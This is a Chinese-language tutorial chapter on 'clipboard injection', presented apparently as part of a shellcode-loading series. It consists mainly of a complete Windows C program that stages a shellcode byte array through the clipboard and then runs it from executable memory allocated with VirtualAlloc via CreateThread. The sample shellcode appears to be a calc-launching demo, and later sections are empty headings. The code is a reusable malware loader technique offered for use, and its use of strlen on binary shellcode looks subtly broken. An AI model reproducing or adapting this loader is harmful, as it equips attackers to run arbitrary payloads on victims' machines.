13-剪贴板注入(Clipboard Injection)
一、前言
二、代码实现
2.1 单进程
#include <windows.h>
#include <stdio.h>
#include <cstdlib> // 添加此行以包含 malloc 的定义
typedef struct {
unsigned char* payload; // shellcode
size_t length; // shellcode 长度
int key; // 其他参数
} Payload;
// 假设 spawn 函数的声明
void spawn(unsigned char* buffer, size_t length, int key);
void ClipboardOperation(Payload* payload) {
HGLOBAL hglb;
LPVOID lptstr;
SYSTEMTIME systemTime;
// 打开剪贴板
if (!OpenClipboard(NULL)) {
fprintf(stderr, "Failed to open clipboard. Error: %d\n", GetLastError());
return;
}
// 读取剪贴板内容
hglb = GetClipboardData(CF_TEXT);
if (hglb != NULL) {
lptstr = GlobalLock(hglb);
if (lptstr != NULL) {
GetLocalTime(&systemTime);
GlobalUnlock(hglb);
}
}
// 清空剪贴板
EmptyClipboard();
// 分配内存并复制 shellcode 到剪贴板
HGLOBAL hGlobalCopy = GlobalAlloc(GMEM_MOVEABLE, payload->length);
if (hGlobalCopy == NULL) {
fprintf(stderr, "GlobalAlloc failed. Error: %d\n", GetLastError());
CloseClipboard();
return;
}
LPVOID lpCopy = GlobalLock(hGlobalCopy);
if (lpCopy != NULL) {
memcpy(lpCopy, payload->payload, payload->length);
GlobalUnlock(hGlobalCopy);
}
// 设置剪贴板数据
if (SetClipboardData(CF_TEXT, hGlobalCopy) == NULL) {
fprintf(stderr, "SetClipboardData failed. Error: %d\n", GetLastError());
GlobalFree(hGlobalCopy);
CloseClipboard();
return;
}
// 读取剪贴板数据到 buffer
HGLOBAL hGlobal = GetClipboardData(CF_TEXT);
if (hGlobal != NULL) {
lptstr = GlobalLock(hGlobal);
if (lptstr != NULL) {
unsigned char* buffer = (unsigned char*)malloc(payload->length);
if (buffer) {
memcpy(buffer, lptstr, payload->length);
GlobalUnlock(hGlobal);
// 调用 spawn 函数
spawn(buffer, payload->length, payload->key);
free(buffer); // 释放分配的内存
}
else {
fprintf(stderr, "Failed to allocate memory for buffer.\n");
}
}
}
// 清空剪贴板并关闭
EmptyClipboard();
CloseClipboard();
}
void spawn(unsigned char* buffer, size_t length, int key) {
// 创建一个可执行的内存区域
DWORD oldProtect;
LPVOID execMem = VirtualAlloc(NULL, length, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
if (execMem == NULL) {
fprintf(stderr, "Failed to allocate executable memory. Error: %d\n", GetLastError());
return;
}
// 将 shellcode 复制到可执行内存区域
memcpy(execMem, buffer, length);
// 创建一个新的线程来执行 shellcode
HANDLE hThread = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)execMem, NULL, 0, NULL);
if (hThread == NULL) {
fprintf(stderr, "Failed to create thread. Error: %d\n", GetLastError());
VirtualFree(execMem, 0, MEM_RELEASE);
return;
}
// 等待线程执行完成
WaitForSingleObject(hThread, INFINITE);
// 清理
CloseHandle(hThread);
VirtualFree(execMem, 0, MEM_RELEASE);
}
int main() {
unsigned char shellcode[] = {
0x50, 0x51, 0x52, 0x53, 0x56, 0x57, 0x55, 0x6A, 0x60, 0x5A,
0x68, 0x63, 0x61, 0x6C, 0x63, 0x54, 0x59, 0x48, 0x83, 0xEC,
0x28, 0x65, 0x48, 0x8B, 0x32, 0x48, 0x8B, 0x76, 0x18, 0x48,
0x8B, 0x76, 0x10, 0x48, 0xAD, 0x48, 0x8B, 0x30, 0x48, 0x8B,
0x7E, 0x30, 0x03, 0x57, 0x3C, 0x8B, 0x5C, 0x17, 0x28, 0x8B,
0x74, 0x1F, 0x20, 0x48, 0x01, 0xFE, 0x8B, 0x54, 0x1F, 0x24,
0x0F, 0xB7, 0x2C, 0x17, 0x8D, 0x52, 0x02, 0xAD, 0x81, 0x3C,
0x07, 0x57, 0x69, 0x6E, 0x45, 0x75, 0xEF, 0x8B, 0x74, 0x1F,
0x1C, 0x48, 0x01, 0xFE, 0x8B, 0x34, 0xAE, 0x48, 0x01, 0xF7,
0x99, 0xFF, 0xD7, 0x48, 0x83, 0xC4, 0x30, 0x5D, 0x5F, 0x5E,
0x5B, 0x5A, 0x59, 0x58, 0xC3
};
// 示例 payload 初始化
Payload payload;
payload.payload = (unsigned char*)shellcode; // 示例 shellcode
payload.length = strlen((char*)payload.payload);
payload.key = 123; // 示例 key
ClipboardOperation(&payload);
return 0;
}

2.2 多进程

2.3 一个进程完成shellcode注入到另一个进程

Last updated